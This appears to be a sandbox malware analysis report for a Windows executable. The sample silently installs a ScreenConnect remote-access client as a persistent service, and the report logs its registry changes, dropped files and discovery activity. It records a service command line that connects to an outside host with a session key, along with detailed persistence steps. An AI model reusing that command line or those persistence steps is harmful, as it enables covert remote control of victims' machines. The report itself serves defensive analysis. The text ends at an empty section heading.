605187c8a3c8fc4653c029c4e2b8618267dc3a6004917579e3020a225e847892

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 17:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-04_ebde35dc9c079fb9cdca4279edca8e0b_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Size 14.1MB
Sample260804-v7jkfaar6v
SHA256 605187c8a3c8fc4653c029c4e2b8618267dc3a6004917579e3020a225e847892
MD5 ebde35dc9c079fb9cdca4279edca8e0b
SHA1 fc4ede3c3b1449cd0274575ca2801e49a5449173
SHA512 bf54ea3619f295262ee229107ce1c9582aab053de935600fbfa7fb1bb01ec85f63caf9133cc7a380ad94c784e0e8adb83dcee1ae9e493342b5e14904da6cb49c
SSDEEP 393216:YVT1sZ/+53/1VT1sZ/zVT1sZ/0VT1sZ/eVT1sZ/pVT1sZ/AVT1sZ/2:Yx14E/1x14Lx14Mx14Wx14xx14Ix14+
TLSH
T1FAE61212B3EA5579E0BB0A38E87986652935BC041721C2AF87D4BD6D2D32FC0D972773
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor discovery persistence ransomware rat

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (575bf5dd98185390)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (575bf5dd98185390)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=connect.theitdesk.net&p=8041&s=111fae0b-5abe-441e-b9b1-dc435b759990&k=BgIAAACkAABSU0ExAAgAAAEAAQBfQyNHZSMF7XTd123e0UpqNjk5LdMqkjvMqkJlPwU469%2bbn%2fSjqYE5wazCBd1W0c%2b9DVy%2fwnXQr056oOSbOJDIQbuHMSXXsppY37iTDga99I6wS2Pcl1cTE5DBOYP5FGnq7Ibf7vwpN6jZflUpi8SQXLHDqfd%2bBb6UOeUeAFriRm%2fkuLgNneuHJcWjOtMN%2bproc2foRhqM%2fP8zYty2qLQhypUiffIKOsQdnMFRz8BBUdKKg4qpcNpmgOEVFzrX7CSS1w46dHU7i53k7JLz18V%2b%2bGns6OBOCrVyfJqAMuQbM3pOETP6yez9gnRrltovsV%2fdOdEUfFiUKatUduhdtZi7&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAg0KU9HLMjUGFKFAb%2bS2PZAAAAAACAAAAAAAQZgAAAAEAACAAAACujCmtXbJsJRA55j%2bNF9XTTIgyfHBvNqwI2O3tTeC3XgAAAAAOgAAAAAIAACAAAADWrUv0%2fSI4O61rATvTCg2TFbT4vAP10kXVCGemE0OMg6AEAAAAY3fnQaN0YQwGjHS9nTKwWNO4vgvfUq%2bvxLkHUNBVtRDWwkOlToxyryPuyoFUqF%2bi7DyckpoYSBw2QryCzB8UwpWx8DSW3AThXPW6%2fc7XQncRdCNX815oVjBk93fgsG5cC3esoWIVG2O1cElQOdr1iIk47oMfgF8Sw6Y8RSkabvMetsaOd2TGHcavQLvvSt1SdJyYunPnczmGRFVeYo22Ch4TlZLubnlR8wfkHxo2MS4Gpceu0o3z1AkbJcOcqmCZ%2b%2bHKr1aLxQtd0V2pbgsPpJr4%2fSNuLpa%2bXbVYxRxRekvbPJdGgdigbVoosp3v8VOi78%2faJcH944zQ7JVY%2b2aQSTx3ua46vMf4X%2f6ktZQ%2fptKMnNZxlIjVraPR%2bla0Hqf1tgBpuwcjhFA%2fw9n3gd9vTGyio%2b86v%2fNrLbg7i%2ffi60YfIcgfVQVRyCpXZraZ3GPdPz%2bFWcL4v8E32CEI43OSbORDG2zIEU6gQRfFecyJRJF5agFCnBmwiD1cSaJWak0hstojaz%2fQvIc8mhqZM5KWj5ssAONyR0Q9kaYQ1sdh5oLrLA8fcVgIA8fpfq%2buWM1%2bxwe%2bFCiRl1M%2bQtaK8%2bpDgyYjhKZy2DBES4ehvp%2bV114SkU8z8DxVcUYfJHQozmqBOrBeqvGY%2fBzTh8pKtuXqPN4%2fAroUUkHhcY%2f3VIYFFQCW4uzABmj%2fiQ%2feTnQ2mmzKPGJruu7b2%2bYqpuC7sMqbJ%2bdL%2fMAXSiXg7DOEr3B8wgTfUXaUOD7jI3vqXTAolEQWLZl%2bOMiIsXihajUD%2blos3rvvup82d12cN9Awnv12Sp9z9uK%2b5ZDG0KuidCQHgNWIPTmRW3R8kTnFPgVrIs1%2bcdtGTV%2bGXmJpxEQKGH9GcOkb89VmlRmcBgJVDYtbIfmQ4HeRGq4wpqWVxjJAXrReeJo9B%2fBg6DuCHw08TGg%2beZitOF9HkhofVyfZ5xmK8lEblQOjbBqG5B1KzsVZTVOzKcXANSoMA%2bB%2fXH7LgVe6KU8dXYwVGEOJbEHIisvxEq7clwr%2fhYKXwoeHgi0kxORp%2bsSLCVFGJuaPUCrfVDtC3lYUjFPhQL21hpbrv5ZJEDeGivgbnbL5EBx%2fU5%2fLXcUp0DKgsjGRyh8dAIvwXnw1cp3s%2buBQe0nq%2bh212r027ZBM1tSzahz0x0cIhOFxT%2btAodr5vjFCUQqxXbtKdEIvk6KTaEUrguKQQMPPOGSmFm25ROKcZRanpNcIxLEaYCABG68lCmp5sMi%2fhHKUxl4WRTrb12Wu%2bLML3d9GuzR1pJNe%2ftXONHvJejQPqidNaK8GF%2fz2fPL7CoySBprH8cm%2fp8qCm23sIuPsWCZF8sOBqT1YwC8OITRybjVoZDnFvlX6Aak7Yt%2bWQhkHvdD6O%2f49m4Z6vnaJvzDBhyzXKQair%2bXYXxLE6Fn0X1NbyG%2fuJsT5Rov2dpxwuEJY%2b407rm%2f0J5hnOyqfGoN3B2rO1tTcFJpkHIGZO5FtGI3zj9UocNf3JymiUWNw54wILANICw%2fyRRvdXAyEs34kFjOWllBHV1CBYXGZPXja%2fCMpYtoZWkq%2fyfcH7dZbyx%2bdOFeqpMrOg0AAAADMuvXxOxkbJMS914BHqH5tt%2bmXosi9tILY5UOZgMdpWkkUo9%2f8LO84RmgO%2fm%2fSHwmSg0u79Kd2TACEaxyMkGwE&c=My%20Waste%20Hub&c=&c=&c=&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	2400	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (575bf5dd98185390)\bwme0goy.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (575bf5dd98185390)\bwme0goy.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 17 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (575bf5dd98185390)\ScreenConnect.Core.dll	msiexec.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File created	C:\Windows\Installer\SourceHash{9C1FA5FB-B96A-036A-E49A-0B2500DA5740}	msiexec.exe
File created	C:\Windows\SystemTemp\~DF9ACEC9D5EE1E9A26.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB646.tmp	msiexec.exe
File created	C:\Windows\Installer\{9C1FA5FB-B96A-036A-E49A-0B2500DA5740}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF9F37DE84E74D45C1.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF60840268DE0F6334.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBC53.tmp	msiexec.exe
File created	C:\Windows\Installer\e59af32.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\wix{9C1FA5FB-B96A-036A-E49A-0B2500DA5740}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{9C1FA5FB-B96A-036A-E49A-0B2500DA5740}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5E8A41B9C76A695F.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e59af32.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB722.tmp	msiexec.exe
File created	C:\Windows\Installer\e59af34.msi	msiexec.exe

Executes dropped EXE 3 IoCs

pid	Process
5416	ScreenConnect.ClientService.exe
2272	ScreenConnect.WindowsClient.exe
5188	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
4676	MsiExec.exe
4188	rundll32.exe
4188	rundll32.exe
4188	rundll32.exe
4188	rundll32.exe
4188	rundll32.exe
4188	rundll32.exe
4188	rundll32.exe
4188	rundll32.exe
4188	rundll32.exe
580	MsiExec.exe
4236	MsiExec.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-04_ebde35dc9c079fb9cdca4279edca8e0b_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000cb7618cb91d4c6300000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801cb7618cb0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101cb7618cb000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3cb7618cb00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6cb7618cb00000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe

Modifies registry class 32 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\B327602CD054F40D75B55FDD89813509	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.8.3.9466\\575bf5dd98185390\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-575bf5dd98185390\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-575bf5dd98185390	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\BF5AF1C9A69BA6304EA9B05200AD7504\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-575bf5dd98185390\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-575bf5dd98185390\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (575bf5dd98185390)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\B327602CD054F40D75B55FDD89813509\BF5AF1C9A69BA6304EA9B05200AD7504	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\ProductName = "ScreenConnect Client (575bf5dd98185390)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\PackageCode = "BF5AF1C9A69BA6304EA9B05200AD7504"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-575bf5dd98185390	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-575bf5dd98185390\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-575bf5dd98185390\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-575bf5dd98185390\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\BF5AF1C9A69BA6304EA9B05200AD7504	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-575bf5dd98185390\shell	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\Version = "419954691"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\25.8.3.9466\\575bf5dd98185390\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\ProductIcon = "C:\\Windows\\Installer\\{9C1FA5FB-B96A-036A-E49A-0B2500DA5740}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BF5AF1C9A69BA6304EA9B05200AD7504\InstanceType = "0"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1056	msiexec.exe
1056	msiexec.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe
5416	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	620	2026-08-04_ebde35dc9c079fb9cdca4279edca8e0b_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Token: SeShutdownPrivilege	2400	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2400	msiexec.exe
Token: SeSecurityPrivilege	1056	msiexec.exe
Token: SeCreateTokenPrivilege	2400	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2400	msiexec.exe
Token: SeLockMemoryPrivilege	2400	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2400	msiexec.exe
Token: SeMachineAccountPrivilege	2400	msiexec.exe
Token: SeTcbPrivilege	2400	msiexec.exe
Token: SeSecurityPrivilege	2400	msiexec.exe
Token: SeTakeOwnershipPrivilege	2400	msiexec.exe
Token: SeLoadDriverPrivilege	2400	msiexec.exe
Token: SeSystemProfilePrivilege	2400	msiexec.exe
Token: SeSystemtimePrivilege	2400	msiexec.exe
Token: SeProfSingleProcessPrivilege	2400	msiexec.exe
Token: SeIncBasePriorityPrivilege	2400	msiexec.exe
Token: SeCreatePagefilePrivilege	2400	msiexec.exe
Token: SeCreatePermanentPrivilege	2400	msiexec.exe
Token: SeBackupPrivilege	2400	msiexec.exe
Token: SeRestorePrivilege	2400	msiexec.exe
Token: SeShutdownPrivilege	2400	msiexec.exe
Token: SeDebugPrivilege	2400	msiexec.exe
Token: SeAuditPrivilege	2400	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2400	msiexec.exe
Token: SeChangeNotifyPrivilege	2400	msiexec.exe
Token: SeRemoteShutdownPrivilege	2400	msiexec.exe
Token: SeUndockPrivilege	2400	msiexec.exe
Token: SeSyncAgentPrivilege	2400	msiexec.exe
Token: SeEnableDelegationPrivilege	2400	msiexec.exe
Token: SeManageVolumePrivilege	2400	msiexec.exe
Token: SeImpersonatePrivilege	2400	msiexec.exe
Token: SeCreateGlobalPrivilege	2400	msiexec.exe
Token: SeCreateTokenPrivilege	2400	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2400	msiexec.exe
Token: SeLockMemoryPrivilege	2400	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2400	msiexec.exe
Token: SeMachineAccountPrivilege	2400	msiexec.exe
Token: SeTcbPrivilege	2400	msiexec.exe
Token: SeSecurityPrivilege	2400	msiexec.exe
Token: SeTakeOwnershipPrivilege	2400	msiexec.exe
Token: SeLoadDriverPrivilege	2400	msiexec.exe
Token: SeSystemProfilePrivilege	2400	msiexec.exe
Token: SeSystemtimePrivilege	2400	msiexec.exe
Token: SeProfSingleProcessPrivilege	2400	msiexec.exe
Token: SeIncBasePriorityPrivilege	2400	msiexec.exe
Token: SeCreatePagefilePrivilege	2400	msiexec.exe
Token: SeCreatePermanentPrivilege	2400	msiexec.exe
Token: SeBackupPrivilege	2400	msiexec.exe
Token: SeRestorePrivilege	2400	msiexec.exe
Token: SeShutdownPrivilege	2400	msiexec.exe
Token: SeDebugPrivilege	2400	msiexec.exe
Token: SeAuditPrivilege	2400	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2400	msiexec.exe
Token: SeChangeNotifyPrivilege	2400	msiexec.exe
Token: SeRemoteShutdownPrivilege	2400	msiexec.exe
Token: SeUndockPrivilege	2400	msiexec.exe
Token: SeSyncAgentPrivilege	2400	msiexec.exe
Token: SeEnableDelegationPrivilege	2400	msiexec.exe
Token: SeManageVolumePrivilege	2400	msiexec.exe
Token: SeImpersonatePrivilege	2400	msiexec.exe
Token: SeCreateGlobalPrivilege	2400	msiexec.exe
Token: SeCreateTokenPrivilege	2400	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2400	msiexec.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
2400	msiexec.exe
2400	msiexec.exe
2272	ScreenConnect.WindowsClient.exe
2272	ScreenConnect.WindowsClient.exe
2272	ScreenConnect.WindowsClient.exe
2272	ScreenConnect.WindowsClient.exe
2272	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 5 IoCs

pid	Process
